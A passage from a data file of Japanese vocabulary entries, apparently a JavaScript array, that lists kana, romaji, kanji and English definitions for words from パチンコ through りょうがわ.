swim\"\n\t},\n\n\t{\n\t\t'kana':'およそ',\n\t\t'romaji':'oyoso',\n\t\t'kanji':'凡そ',\n\t\t'definition':\"about;roughly;as a rule;approximately\"\n\t},\n\n\t{\n\t\t'kana':'パチンコ',\n\t\t'romaji':'pachinko',\n\t\t'kanji':'',\n\t\t'definition':\"pachinko (Japanese pinball)\"\n\t},\n\n\t{\n\t\t'kana':'パイプ',\n\t\t'romaji':'paipu',\n\t\t'kanji':'',\n\t\t'definition':\"1. pipe;tube; 2. channels official or otherwise\"\n\t},\n\n\t{\n\t\t'kana':'パイロット',\n\t\t'romaji':'pairoto',\n\t\t'kanji':'',\n\t\t'definition':\"pilot\"\n\t},\n\n\t{\n\t\t'kana':'パンク',\n\t\t'romaji':'panku',\n\t\t'kanji':'',\n\t\t'definition':\"1. (abbr) puncture;bursting; 2. punk\"\n\t},\n\n\t{\n\t\t'kana':'パンツ',\n\t\t'romaji':'pantsu',\n\t\t'kanji':'',\n\t\t'definition':\"underpants\"\n\t},\n\n\t{\n\t\t'kana':'パパ',\n\t\t'romaji':'papa',\n\t\t'kanji':'',\n\t\t'definition':\"Papa\"\n\t},\n\n\t{\n\t\t'kana':'パーセント',\n\t\t'romaji':'pa-sento',\n\t\t'kanji':'',\n\t\t'definition':\"percent\"\n\t},\n\n\t{\n\t\t'kana':'パス',\n\t\t'romaji':'pasu',\n\t\t'kanji':'',\n\t\t'definition':\"path;pass (in games)\"\n\t},\n\n\t{\n\t\t'kana':'パスポート',\n\t\t'romaji':'pasupo-to',\n\t\t'kanji':'',\n\t\t'definition':\"passport\"\n\t},\n\n\t{\n\t\t'kana':'パターン',\n\t\t'romaji':'pata-n',\n\t\t'kanji':'',\n\t\t'definition':\"pattern\"\n\t},\n\n\t{\n\t\t'kana':'パーティー',\n\t\t'romaji':'pa-thi-',\n\t\t'kanji':'',\n\t\t'definition':\"party\"\n\t},\n\n\t{\n\t\t'kana':'パート',\n\t\t'romaji':'pa-to',\n\t\t'kanji':'',\n\t\t'definition':\"part\"\n\t},\n\n\t{\n\t\t'kana':'パトカー',\n\t\t'romaji':'patoka-',\n\t\t'kanji':'',\n\t\t'definition':\"patrol car\"\n\t},\n\n\t{\n\t\t'kana':'パジャマ',\n\t\t'romaji':'pazyama',\n\t\t'kanji':'',\n\t\t'definition':\"pajamas;pyjamas\"\n\t},\n\n\t{\n\t\t'kana':'ペア',\n\t\t'romaji':'pea',\n\t\t'kanji':'',\n\t\t'definition':\"pair;pear\"\n\t},\n\n\t{\n\t\t'kana':'ぺこぺこ',\n\t\t'romaji':'pekopeko',\n\t\t'kanji':'',\n\t\t'definition':\"fawn;be very hungry\"\n\t},\n\n\t{\n\t\t'kana':'ペン',\n\t\t'romaji':'pen',\n\t\t'kanji':'',\n\t\t'definition':\"pen;P.E.N. (club)\"\n\t},\n\n\t{\n\t\t'kana':'ペンチ',\n\t\t'romaji':'penchi',\n\t\t'kanji':'',\n\t\t'definition':\"pliers (lit: pinchers)\"\n\t},\n\n\t{\n\t\t'kana':'ペンキ',\n\t\t'romaji':'penki',\n\t\t'kanji':'',\n\t\t'definition':\"(nl:) (n) paint (nl: pek)\"\n\t},\n\n\t{\n\t\t'kana':'ページ',\n\t\t'romaji':'pe-zi',\n\t\t'kanji':'',\n\t\t'definition':\"page\"\n\t},\n\n\t{\n\t\t'kana':'ピアノ',\n\t\t'romaji':'piano',\n\t\t'kanji':'',\n\t\t'definition':\"piano\"\n\t},\n\n\t{\n\t\t'kana':'ぴかぴか',\n\t\t'romaji':'pikapika',\n\t\t'kanji':'',\n\t\t'definition':\"glitter;sparkle\"\n\t},\n\n\t{\n\t\t'kana':'ピクニック',\n\t\t'romaji':'pikuniku',\n\t\t'kanji':'',\n\t\t'definition':\"picnic\"\n\t},\n\n\t{\n\t\t'kana':'ピン',\n\t\t'romaji':'pin',\n\t\t'kanji':'',\n\t\t'definition':\"pin\"\n\t},\n\n\t{\n\t\t'kana':'ピンク',\n\t\t'romaji':'pinku',\n\t\t'kanji':'',\n\t\t'definition':\"pink\"\n\t},\n\n\t{\n\t\t'kana':'ピストル',\n\t\t'romaji':'pisutoru',\n\t\t'kanji':'',\n\t\t'definition':\"pistol\"\n\t},\n\n\t{\n\t\t'kana':'ぴったり',\n\t\t'romaji':'pittari',\n\t\t'kanji':'',\n\t\t'definition':\"exactly;neatly;sharp\"\n\t},\n\n\t{\n\t\t'kana':'ポイント',\n\t\t'romaji':'pointo',\n\t\t'kanji':'',\n\t\t'definition':\"point\"\n\t},\n\n\t{\n\t\t'kana':'ポケット',\n\t\t'romaji':'poketo',\n\t\t'kanji':'',\n\t\t'definition':\"pocket\"\n\t},\n\n\t{\n\t\t'kana':'ポンプ',\n\t\t'romaji':'ponpu',\n\t\t'kanji':'',\n\t\t'definition':\"pump\"\n\t},\n\n\t{\n\t\t'kana':'ポスター',\n\t\t'romaji':'posuta-',\n\t\t'kanji':'',\n\t\t'definition':\"poster\"\n\t},\n\n\t{\n\t\t'kana':'ポスト',\n\t\t'romaji':'posuto',\n\t\t'kanji':'',\n\t\t'definition':\"post;post-;mail box\"\n\t},\n\n\t{\n\t\t'kana':'ポット',\n\t\t'romaji':'poto',\n\t\t'kanji':'',\n\t\t'definition':\"pot\"\n\t},\n\n\t{\n\t\t'kana':'ポジション',\n\t\t'romaji':'pozisyon',\n\t\t'kanji':'',\n\t\t'definition':\"position\"\n\t},\n\n\t{\n\t\t'kana':'ポーズ',\n\t\t'romaji':'po-zu',\n\t\t'kanji':'',\n\t\t'definition':\"pause\"\n\t},\n\n\t{\n\t\t'kana':'プラン',\n\t\t'romaji':'puran',\n\t\t'kanji':'',\n\t\t'definition':\"plan\"\n\t},\n\n\t{\n\t\t'kana':'プラス',\n\t\t'romaji':'purasu',\n\t\t'kanji':'',\n\t\t'definition':\"plus\"\n\t},\n\n\t{\n\t\t'kana':'プラスチック',\n\t\t'romaji':'purasuchiku',\n\t\t'kanji':'',\n\t\t'definition':\"plastic\"\n\t},\n\n\t{\n\t\t'kana':'プラットホーム',\n\t\t'romaji':'puratoho-mu',\n\t\t'kanji':'',\n\t\t'definition':\"platform\"\n\t},\n\n\t{\n\t\t'kana':'プレゼント',\n\t\t'romaji':'purezento',\n\t\t'kanji':'',\n\t\t'definition':\"present;gift\"\n\t},\n\n\t{\n\t\t'kana':'プリント',\n\t\t'romaji':'purinto',\n\t\t'kanji':'',\n\t\t'definition':\"print;handout\"\n\t},\n\n\t{\n\t\t'kana':'プロ',\n\t\t'romaji':'puro',\n\t\t'kanji':'',\n\t\t'definition':\"professional\"\n\t},\n\n\t{\n\t\t'kana':'プログラム',\n\t\t'romaji':'puroguramu',\n\t\t'kanji':'',\n\t\t'definition':\"program\"\n\t},\n\n\t{\n\t\t'kana':'プール',\n\t\t'romaji':'pu-ru',\n\t\t'kanji':'',\n\t\t'definition':\"swimming pool\"\n\t},\n\n\t{\n\t\t'kana':'ラベル',\n\t\t'romaji':'raberu',\n\t\t'kanji':'',\n\t\t'definition':\"label\"\n\t},\n\n\t{\n\t\t'kana':'らい',\n\t\t'romaji':'rai',\n\t\t'kanji':'来',\n\t\t'definition':\"since (last month);for (10 days);next (year)\"\n\t},\n\n\t{\n\t\t'kana':'らいじょう',\n\t\t'romaji':'raijyou',\n\t\t'kanji':'来場',\n\t\t'definition':\"attendance\"\n\t},\n\n\t{\n\t\t'kana':'らいにち',\n\t\t'romaji':'rainichi',\n\t\t'kanji':'来日',\n\t\t'definition':\"arrival in Japan;coming to Japan;visit to Japan\"\n\t},\n\n\t{\n\t\t'kana':'ライス',\n\t\t'romaji':'raisu',\n\t\t'kanji':'',\n\t\t'definition':\"rice\"\n\t},\n\n\t{\n\t\t'kana':'ライター',\n\t\t'romaji':'raita-',\n\t\t'kanji':'',\n\t\t'definition':\"lighter;rider;writer\"\n\t},\n\n\t{\n\t\t'kana':'らっか',\n\t\t'romaji':'raka',\n\t\t'kanji':'落下',\n\t\t'definition':\"fall;drop;come down\"\n\t},\n\n\t{\n\t\t'kana':'ラケット',\n\t\t'romaji':'raketo',\n\t\t'kanji':'',\n\t\t'definition':\"paddle;racket\"\n\t},\n\n\t{\n\t\t'kana':'らっかん',\n\t\t'romaji':'rakkan',\n\t\t'kanji':'楽観',\n\t\t'definition':\"optimism\"\n\t},\n\n\t{\n\t\t'kana':'らく',\n\t\t'romaji':'raku',\n\t\t'kanji':'楽',\n\t\t'definition':\"comfort;ease\"\n\t},\n\n\t{\n\t\t'kana':'らくだい',\n\t\t'romaji':'rakudai',\n\t\t'kanji':'落第',\n\t\t'definition':\"failure;dropping out of a class\"\n\t},\n\n\t{\n\t\t'kana':'らくのう',\n\t\t'romaji':'rakunou',\n\t\t'kanji':'酪農',\n\t\t'definition':\"dairy (farm)\"\n\t},\n\n\t{\n\t\t'kana':'らん',\n\t\t'romaji':'ran',\n\t\t'kanji':'欄',\n\t\t'definition':\"column of text (e.g. as in a newspaper)\"\n\t},\n\n\t{\n\t\t'kana':'らんぼう',\n\t\t'romaji':'ranbou',\n\t\t'kanji':'乱暴',\n\t\t'definition':\"rude;violent;rough;lawless;unreasonable;reckless\"\n\t},\n\n\t{\n\t\t'kana':'ランチ',\n\t\t'romaji':'ranchi',\n\t\t'kanji':'',\n\t\t'definition':\"launch;lunch\"\n\t},\n\n\t{\n\t\t'kana':'ランプ',\n\t\t'romaji':'ranpu',\n\t\t'kanji':'',\n\t\t'definition':\"lamp;ramp;headlight;light\"\n\t},\n\n\t{\n\t\t'kana':'らんよう',\n\t\t'romaji':'ranyou',\n\t\t'kanji':'濫用',\n\t\t'definition':\"abuse;misuse;misappropriation;using to excess\"\n\t},\n\n\t{\n\t\t'kana':'ラッシュアワー',\n\t\t'romaji':'rasyuawa-',\n\t\t'kanji':'',\n\t\t'definition':\"rush hour\"\n\t},\n\n\t{\n\t\t'kana':'ラジオ',\n\t\t'romaji':'razio',\n\t\t'kanji':'',\n\t\t'definition':\"radio\"\n\t},\n\n\t{\n\t\t'kana':'レバー',\n\t\t'romaji':'reba-',\n\t\t'kanji':'',\n\t\t'definition':\"lever;liver\"\n\t},\n\n\t{\n\t\t'kana':'レベル',\n\t\t'romaji':'reberu',\n\t\t'kanji':'',\n\t\t'definition':\"level\"\n\t},\n\n\t{\n\t\t'kana':'レディー',\n\t\t'romaji':'redhi-',\n\t\t'kanji':'',\n\t\t'definition':\"lady\"\n\t},\n\n\t{\n\t\t'kana':'レギュラー',\n\t\t'romaji':'regyura-',\n\t\t'kanji':'',\n\t\t'definition':\"regular\"\n\t},\n\n\t{\n\t\t'kana':'れい',\n\t\t'romaji':'rei',\n\t\t'kanji':'零',\n\t\t'definition':\"zero;nought\"\n\t},\n\n\t{\n\t\t'kana':'れい',\n\t\t'romaji':'rei',\n\t\t'kanji':'礼',\n\t\t'definition':\"expression of gratitude\"\n\t},\n\n\t{\n\t\t'kana':'れいぼう',\n\t\t'romaji':'reibou',\n\t\t'kanji':'冷房',\n\t\t'definition':\"cooling;air-conditioning\"\n\t},\n\n\t{\n\t\t'kana':'れいがい',\n\t\t'romaji':'reigai',\n\t\t'kanji':'例外',\n\t\t'definition':\"exception\"\n\t},\n\n\t{\n\t\t'kana':'れいぎ',\n\t\t'romaji':'reigi',\n\t\t'kanji':'礼儀',\n\t\t'definition':\"manners;courtesy;etiquette\"\n\t},\n\n\t{\n\t\t'kana':'れいこく',\n\t\t'romaji':'reikoku',\n\t\t'kanji':'冷酷',\n\t\t'definition':\"cruelty;coldheartedness;relentless;ruthless\"\n\t},\n\n\t{\n\t\t'kana':'レインコート',\n\t\t'romaji':'reinko-to',\n\t\t'kanji':'',\n\t\t'definition':\"raincoat\"\n\t},\n\n\t{\n\t\t'kana':'れいせい',\n\t\t'romaji':'reisei',\n\t\t'kanji':'冷静',\n\t\t'definition':\"calm;composure;coolness;serenity\"\n\t},\n\n\t{\n\t\t'kana':'��いたん',\n\t\t'romaji':'reitan',\n\t\t'kanji':'冷淡',\n\t\t'definition':\"coolness;indifference\"\n\t},\n\n\t{\n\t\t'kana':'れいてん',\n\t\t'romaji':'reiten',\n\t\t'kanji':'零点',\n\t\t'definition':\"zero;no marks\"\n\t},\n\n\t{\n\t\t'kana':'れいとう',\n\t\t'romaji':'reitou',\n\t\t'kanji':'冷凍',\n\t\t'definition':\"freezing;cold storage;refrigeration\"\n\t},\n\n\t{\n\t\t'kana':'れいぞう',\n\t\t'romaji':'reizou',\n\t\t'kanji':'冷蔵',\n\t\t'definition':\"cold storage;refrigeration\"\n\t},\n\n\t{\n\t\t'kana':'れいぞうこ',\n\t\t'romaji':'reizouko',\n\t\t'kanji':'冷蔵庫',\n\t\t'definition':\"refrigerator\"\n\t},\n\n\t{\n\t\t'kana':'れきし',\n\t\t'romaji':'rekishi',\n\t\t'kanji':'歴史',\n\t\t'definition':\"history\"\n\t},\n\n\t{\n\t\t'kana':'レコード',\n\t\t'romaji':'reko-do',\n\t\t'kanji':'',\n\t\t'definition':\"record\"\n\t},\n\n\t{\n\t\t'kana':'レクリエーション',\n\t\t'romaji':'rekurie-syon',\n\t\t'kanji':'',\n\t\t'definition':\"recreation\"\n\t},\n\n\t{\n\t\t'kana':'れんあい',\n\t\t'romaji':'renai',\n\t\t'kanji':'恋愛',\n\t\t'definition':\"love;love-making;passion;emotion;affections\"\n\t},\n\n\t{\n\t\t'kana':'れんが',\n\t\t'romaji':'renga',\n\t\t'kanji':'煉瓦',\n\t\t'definition':\"brick\"\n\t},\n\n\t{\n\t\t'kana':'れんごう',\n\t\t'romaji':'rengou',\n\t\t'kanji':'連合',\n\t\t'definition':\"union;alliance\"\n\t},\n\n\t{\n\t\t'kana':'れんじつ',\n\t\t'romaji':'renjitsu',\n\t\t'kanji':'連日',\n\t\t'definition':\"every day;prolonged\"\n\t},\n\n\t{\n\t\t'kana':'れんじゅう',\n\t\t'romaji':'renjyuu',\n\t\t'kanji':'連中',\n\t\t'definition':\"colleagues;company;a lot\"\n\t},\n\n\t{\n\t\t'kana':'れんきゅう',\n\t\t'romaji':'renkyuu',\n\t\t'kanji':'連休',\n\t\t'definition':\"consecutive holidays\"\n\t},\n\n\t{\n\t\t'kana':'れんめい',\n\t\t'romaji':'renmei',\n\t\t'kanji':'連盟',\n\t\t'definition':\"league;union;alliance\"\n\t},\n\n\t{\n\t\t'kana':'れんぽう',\n\t\t'romaji':'renpou',\n\t\t'kanji':'連邦',\n\t\t'definition':\"commonwealth;federation of states\"\n\t},\n\n\t{\n\t\t'kana':'れんらく',\n\t\t'romaji':'renraku',\n\t\t'kanji':'連絡',\n\t\t'definition':\"junction;communication;connection;coordination\"\n\t},\n\n\t{\n\t\t'kana':'れんしゅう',\n\t\t'romaji':'renshuu',\n\t\t'kanji':'練習',\n\t\t'definition':\"practice\"\n\t},\n\n\t{\n\t\t'kana':'れんそう',\n\t\t'romaji':'rensou',\n\t\t'kanji':'連想',\n\t\t'definition':\"association (of ideas);suggestion\"\n\t},\n\n\t{\n\t\t'kana':'れんたい',\n\t\t'romaji':'rentai',\n\t\t'kanji':'連帯',\n\t\t'definition':\"solidarity\"\n\t},\n\n\t{\n\t\t'kana':'レンタカー',\n\t\t'romaji':'rentaka-',\n\t\t'kanji':'',\n\t\t'definition':\"hire car (lit: rent-a-car)\"\n\t},\n\n\t{\n\t\t'kana':'レントゲン',\n\t\t'romaji':'rentogen',\n\t\t'kanji':'',\n\t\t'definition':\"X-ray (lit: Roentgen)\"\n\t},\n\n\t{\n\t\t'kana':'レンジ',\n\t\t'romaji':'renzi',\n\t\t'kanji':'',\n\t\t'definition':\"range;stove\"\n\t},\n\n\t{\n\t\t'kana':'れんぞく',\n\t\t'romaji':'renzoku',\n\t\t'kanji':'連続',\n\t\t'definition':\"serial;consecutive;continuity;occurring in succession;continuing\"\n\t},\n\n\t{\n\t\t'kana':'レンズ',\n\t\t'romaji':'renzu',\n\t\t'kanji':'',\n\t\t'definition':\"lens\"\n\t},\n\n\t{\n\t\t'kana':'レポート',\n\t\t'romaji':'repo-to',\n\t\t'kanji':'',\n\t\t'definition':\"report;paper\"\n\t},\n\n\t{\n\t\t'kana':'れっしゃ',\n\t\t'romaji':'resha',\n\t\t'kanji':'列車',\n\t\t'definition':\"train (ordinary)\"\n\t},\n\n\t{\n\t\t'kana':'レース',\n\t\t'romaji':'re-su',\n\t\t'kanji':'',\n\t\t'definition':\"race;lace\"\n\t},\n\n\t{\n\t\t'kana':'レッスン',\n\t\t'romaji':'resun',\n\t\t'kanji':'',\n\t\t'definition':\"lesson\"\n\t},\n\n\t{\n\t\t'kana':'レストラン',\n\t\t'romaji':'resutoran',\n\t\t'kanji':'',\n\t\t'definition':\"restaurant\"\n\t},\n\n\t{\n\t\t'kana':'れつ',\n\t\t'romaji':'retsu',\n\t\t'kanji':'列',\n\t\t'definition':\"queue;line;row\"\n\t},\n\n\t{\n\t\t'kana':'れっとう',\n\t\t'romaji':'rettou',\n\t\t'kanji':'列島',\n\t\t'definition':\"chain of islands\"\n\t},\n\n\t{\n\t\t'kana':'レジャー',\n\t\t'romaji':'rezya-',\n\t\t'kanji':'',\n\t\t'definition':\"leisure\"\n\t},\n\n\t{\n\t\t'kana':'リボン',\n\t\t'romaji':'ribon',\n\t\t'kanji':'',\n\t\t'definition':\"ribbon\"\n\t},\n\n\t{\n\t\t'kana':'りえき',\n\t\t'romaji':'rieki',\n\t\t'kanji':'利益',\n\t\t'definition':\"profits;gains;(political economic) interest\"\n\t},\n\n\t{\n\t\t'kana':'りえき',\n\t\t'romaji':'rieki',\n\t\t'kanji':'利益',\n\t\t'definition':\"profits;gains;(political economic) interest\"\n\t},\n\n\t{\n\t\t'kana':'りがい',\n\t\t'romaji':'rigai',\n\t\t'kanji':'利害',\n\t\t'definition':\"advantages and disadvantages;interest\"\n\t},\n\n\t{\n\t\t'kana':'りじゅん',\n\t\t'romaji':'rijyun',\n\t\t'kanji':'利潤',\n\t\t'definition':\"profit;returns\"\n\t},\n\n\t{\n\t\t'kana':'りか',\n\t\t'romaji':'rika',\n\t\t'kanji':'理科',\n\t\t'definition':\"science\"\n\t},\n\n\t{\n\t\t'kana':'りかい',\n\t\t'romaji':'rikai',\n\t\t'kanji':'理解',\n\t\t'definition':\"understanding;comprehension\"\n\t},\n\n\t{\n\t\t'kana':'りこん',\n\t\t'romaji':'rikon',\n\t\t'kanji':'利根',\n\t\t'definition':\"intelligence\"\n\t},\n\n\t{\n\t\t'kana':'りこう',\n\t\t'romaji':'rikou',\n\t\t'kanji':'利口',\n\t\t'definition':\"clever;shrewd;bright;sharp;wise;intelligent\"\n\t},\n\n\t{\n\t\t'kana':'りく',\n\t\t'romaji':'riku',\n\t\t'kanji':'陸',\n\t\t'definition':\"land;shore\"\n\t},\n\n\t{\n\t\t'kana':'りくつ',\n\t\t'romaji':'rikutsu',\n\t\t'kanji':'理屈',\n\t\t'definition':\"theory;reason\"\n\t},\n\n\t{\n\t\t'kana':'りん',\n\t\t'romaji':'rin',\n\t\t'kanji':'輪',\n\t\t'definition':\"counter for wheels and flowers\"\n\t},\n\n\t{\n\t\t'kana':'りんぎょう',\n\t\t'romaji':'ringyou',\n\t\t'kanji':'林業',\n\t\t'definition':\"forestry\"\n\t},\n\n\t{\n\t\t'kana':'りんじ',\n\t\t'romaji':'rinji',\n\t\t'kanji':'臨時',\n\t\t'definition':\"temporary;special;extraordinary\"\n\t},\n\n\t{\n\t\t'kana':'りっぱ',\n\t\t'romaji':'ripa',\n\t\t'kanji':'立派',\n\t\t'definition':\"splendid;fine;handsome;elegant;imposing;prominent;legal;legitimate\"\n\t},\n\n\t{\n\t\t'kana':'りっぽう',\n\t\t'romaji':'rippou',\n\t\t'kanji':'立法',\n\t\t'definition':\"legislation;lawmaking\"\n\t},\n\n\t{\n\t\t'kana':'りれき',\n\t\t'romaji':'rireki',\n\t\t'kanji':'履歴',\n\t\t'definition':\"personal history;background;career;log\"\n\t},\n\n\t{\n\t\t'kana':'りろん',\n\t\t'romaji':'riron',\n\t\t'kanji':'理論',\n\t\t'definition':\"theory\"\n\t},\n\n\t{\n\t\t'kana':'りせい',\n\t\t'romaji':'risei',\n\t\t'kanji':'理性',\n\t\t'definition':\"reason;sense\"\n\t},\n\n\t{\n\t\t'kana':'りし',\n\t\t'romaji':'rishi',\n\t\t'kanji':'利子',\n\t\t'definition':\"interest (bank)\"\n\t},\n\n\t{\n\t\t'kana':'りそく',\n\t\t'romaji':'risoku',\n\t\t'kanji':'利息',\n\t\t'definition':\"interest (bank)\"\n\t},\n\n\t{\n\t\t'kana':'りそう',\n\t\t'romaji':'risou',\n\t\t'kanji':'理想',\n\t\t'definition':\"ideal\"\n\t},\n\n\t{\n\t\t'kana':'りてん',\n\t\t'romaji':'riten',\n\t\t'kanji':'利点',\n\t\t'definition':\"advantage;point in favor\"\n\t},\n\n\t{\n\t\t'kana':'リットル',\n\t\t'romaji':'ritoru',\n\t\t'kanji':'',\n\t\t'definition':\"litre\"\n\t},\n\n\t{\n\t\t'kana':'りつ',\n\t\t'romaji':'ritsu',\n\t\t'kanji':'率',\n\t\t'definition':\"rate;ratio;proportion;percentage\"\n\t},\n\n\t{\n\t\t'kana':'りったい',\n\t\t'romaji':'rittai',\n\t\t'kanji':'立体',\n\t\t'definition':\"solid body\"\n\t},\n\n\t{\n\t\t'kana':'りよう',\n\t\t'romaji':'riyou',\n\t\t'kanji':'利用',\n\t\t'definition':\"use;utilization;application\"\n\t},\n\n\t{\n\t\t'kana':'りゆう',\n\t\t'romaji':'riyuu',\n\t\t'kanji':'理由',\n\t\t'definition':\"reason;pretext;motive\"\n\t},\n\n\t{\n\t\t'kana':'リズム',\n\t\t'romaji':'rizumu',\n\t\t'kanji':'',\n\t\t'definition':\"rhythm\"\n\t},\n\n\t{\n\t\t'kana':'ロビー',\n\t\t'romaji':'robi-',\n\t\t'kanji':'',\n\t\t'definition':\"lobby\"\n\t},\n\n\t{\n\t\t'kana':'ロッカー',\n\t\t'romaji':'roka-',\n\t\t'kanji':'',\n\t\t'definition':\"locker\"\n\t},\n\n\t{\n\t\t'kana':'ロケット',\n\t\t'romaji':'roketo',\n\t\t'kanji':'',\n\t\t'definition':\"locket;rocket\"\n\t},\n\n\t{\n\t\t'kana':'ろこつ',\n\t\t'romaji':'rokotsu',\n\t\t'kanji':'露骨',\n\t\t'definition':\"1. frank;blunt;plain;outspoken; 2. conspicuous;open; 3. broad;suggestive\"\n\t},\n\n\t{\n\t\t'kana':'ろくな',\n\t\t'romaji':'rokuna',\n\t\t'kanji':'碌な',\n\t\t'definition':\"satisfactory;decent\"\n\t},\n\n\t{\n\t\t'kana':'ろくに',\n\t\t'romaji':'rokuni',\n\t\t'kanji':'碌に',\n\t\t'definition':\"well;enough;sufficient\"\n\t},\n\n\t{\n\t\t'kana':'ろくおん',\n\t\t'romaji':'rokuon',\n\t\t'kanji':'録音',\n\t\t'definition':\"(audio) recording\"\n\t},\n\n\t{\n\t\t'kana':'ローマじ',\n\t\t'romaji':'ro-maji',\n\t\t'kanji':'ローマ字',\n\t\t'definition':\"romanization;Roman letters\"\n\t},\n\n\t{\n\t\t'kana':'ロマンチック',\n\t\t'romaji':'romanchiku',\n\t\t'kanji':'',\n\t\t'definition':\"romantic\"\n\t},\n\n\t{\n\t\t'kana':'ろんぶん',\n\t\t'romaji':'ronbun',\n\t\t'kanji':'論文',\n\t\t'definition':\"thesis;essay;treatise;paper\"\n\t},\n\n\t{\n\t\t'kana':'ろんぎ',\n\t\t'romaji':'rongi',\n\t\t'kanji':'論議',\n\t\t'definition':\"discussion\"\n\t},\n\n\t{\n\t\t'kana':'ろんじる',\n\t\t'romaji':'ronjiru',\n\t\t'kanji':'論じる',\n\t\t'definition':\"to argue;to discuss;to debate\"\n\t},\n\n\t{\n\t\t'kana':'ろんり',\n\t\t'romaji':'ronri',\n\t\t'kanji':'論理',\n\t\t'definition':\"logic\"\n\t},\n\n\t{\n\t\t'kana':'ろんそう',\n\t\t'romaji':'ronsou',\n\t\t'kanji':'論争',\n\t\t'definition':\"controversy;dispute\"\n\t},\n\n\t{\n\t\t'kana':'ろんずる',\n\t\t'romaji':'ronzuru',\n\t\t'kanji':'論ずる',\n\t\t'definition':\"to argue;to discuss;to debate\"\n\t},\n\n\t{\n\t\t'kana':'ロープ',\n\t\t'romaji':'ro-pu',\n\t\t'kanji':'',\n\t\t'definition':\"rope\"\n\t},\n\n\t{\n\t\t'kana':'ろうどく',\n\t\t'romaji':'roudoku',\n\t\t'kanji':'朗読',\n\t\t'definition':\"reading aloud;recitation\"\n\t},\n\n\t{\n\t\t'kana':'ろうどう',\n\t\t'romaji':'roudou',\n\t\t'kanji':'労働',\n\t\t'definition':\"manual labor;toil;work\"\n\t},\n\n\t{\n\t\t'kana':'ろうひ',\n\t\t'romaji':'rouhi',\n\t\t'kanji':'浪費',\n\t\t'definition':\"waste;extravagance\"\n\t},\n\n\t{\n\t\t'kana':'ろうじん',\n\t\t'romaji':'roujin',\n\t\t'kanji':'老人',\n\t\t'definition':\"the aged;old person\"\n\t},\n\n\t{\n\t\t'kana':'ろうか',\n\t\t'romaji':'rouka',\n\t\t'kanji':'廊下',\n\t\t'definition':\"corridor\"\n\t},\n\n\t{\n\t\t'kana':'ろうりょく',\n\t\t'romaji':'rouryoku',\n\t\t'kanji':'労力',\n\t\t'definition':\"labour;effort;toil;trouble\"\n\t},\n\n\t{\n\t\t'kana':'ろうそく',\n\t\t'romaji':'rousoku',\n\t\t'kanji':'蝋燭',\n\t\t'definition':\"candle\"\n\t},\n\n\t{\n\t\t'kana':'ろうすい',\n\t\t'romaji':'rousui',\n\t\t'kanji':'老衰',\n\t\t'definition':\"senility;senile decay\"\n\t},\n\n\t{\n\t\t'kana':'るいじ',\n\t\t'romaji':'ruiji',\n\t\t'kanji':'類似',\n\t\t'definition':\"analogous\"\n\t},\n\n\t{\n\t\t'kana':'るいすい',\n\t\t'romaji':'ruisui',\n\t\t'kanji':'類推',\n\t\t'definition':\"analogy\"\n\t},\n\n\t{\n\t\t'kana':'ルール',\n\t\t'romaji':'ru-ru',\n\t\t'kanji':'',\n\t\t'definition':\"rule\"\n\t},\n\n\t{\n\t\t'kana':'るす',\n\t\t'romaji':'rusu',\n\t\t'kanji':'留守',\n\t\t'definition':\"absence;being away from home\"\n\t},\n\n\t{\n\t\t'kana':'るすばん',\n\t\t'romaji':'rusuban',\n\t\t'kanji':'留守番',\n\t\t'definition':\"care-taking;caretaker;house-watching\"\n\t},\n\n\t{\n\t\t'kana':'ルーズ',\n\t\t'romaji':'ru-zu',\n\t\t'kanji':'',\n\t\t'definition':\"loose\"\n\t},\n\n\t{\n\t\t'kana':'りゃくだつ',\n\t\t'romaji':'ryakudatsu',\n\t\t'kanji':'略奪',\n\t\t'definition':\"pillage;plunder;looting;robbery\"\n\t},\n\n\t{\n\t\t'kana':'りゃくご',\n\t\t'romaji':'ryakugo',\n\t\t'kanji':'略語',\n\t\t'definition':\"abbreviation;acronym\"\n\t},\n\n\t{\n\t\t'kana':'りゃくす',\n\t\t'romaji':'ryakusu',\n\t\t'kanji':'略す',\n\t\t'definition':\"to abbreviate\"\n\t},\n\n\t{\n\t\t'kana':'りょかく',\n\t\t'romaji':'ryokaku',\n\t\t'kanji':'旅客',\n\t\t'definition':\"passenger (transport)\"\n\t},\n\n\t{\n\t\t'kana':'りょかん',\n\t\t'romaji':'ryokan',\n\t\t'kanji':'旅館',\n\t\t'definition':\"Japanese hotel;inn\"\n\t},\n\n\t{\n\t\t'kana':'りょけん',\n\t\t'romaji':'ryoken',\n\t\t'kanji':'旅券',\n\t\t'definition':\"passport\"\n\t},\n\n\t{\n\t\t'kana':'りょこう',\n\t\t'romaji':'ryokou',\n\t\t'kanji':'旅行',\n\t\t'definition':\"travel;trip\"\n\t},\n\n\t{\n\t\t'kana':'りょう',\n\t\t'romaji':'ryou',\n\t\t'kanji':'了',\n\t\t'definition':\"finish;completion;understanding\"\n\t},\n\n\t{\n\t\t'kana':'りょう',\n\t\t'romaji':'ryou',\n\t\t'kanji':'料',\n\t\t'definition':\"material;charge;rate;fee\"\n\t},\n\n\t{\n\t\t'kana':'りょう',\n\t\t'romaji':'ryou',\n\t\t'kanji':'了',\n\t\t'definition':\"finish;completion;understanding\"\n\t},\n\n\t{\n\t\t'kana':'りょう',\n\t\t'romaji':'ryou',\n\t\t'kanji':'寮',\n\t\t'definition':\"hostel;dormitory\"\n\t},\n\n\t{\n\t\t'kana':'りょう',\n\t\t'romaji':'ryou',\n\t\t'kanji':'量',\n\t\t'definition':\"quantity;amount;volume;portion (of food)\"\n\t},\n\n\t{\n\t\t'kana':'りょうち',\n\t\t'romaji':'ryouchi',\n\t\t'kanji':'領地',\n\t\t'definition':\"territory;dominion\"\n\t},\n\n\t{\n\t\t'kana':'りょうど',\n\t\t'romaji':'ryoudo',\n\t\t'kanji':'領土',\n\t\t'definition':\"dominion;territory;possession\"\n\t},\n\n\t{\n\t\t'kana':'りょうがえ',\n\t\t'romaji':'ryougae',\n\t\t'kanji':'両替',\n\t\t'definition':\"change;money exchange\"\n\t},\n\n\t{\n\t\t'kana':'りょうがわ',\n\t\t'romaji':'ryougawa',\n\t\t'kanji':'両側',\n\t\t'definition':\"both 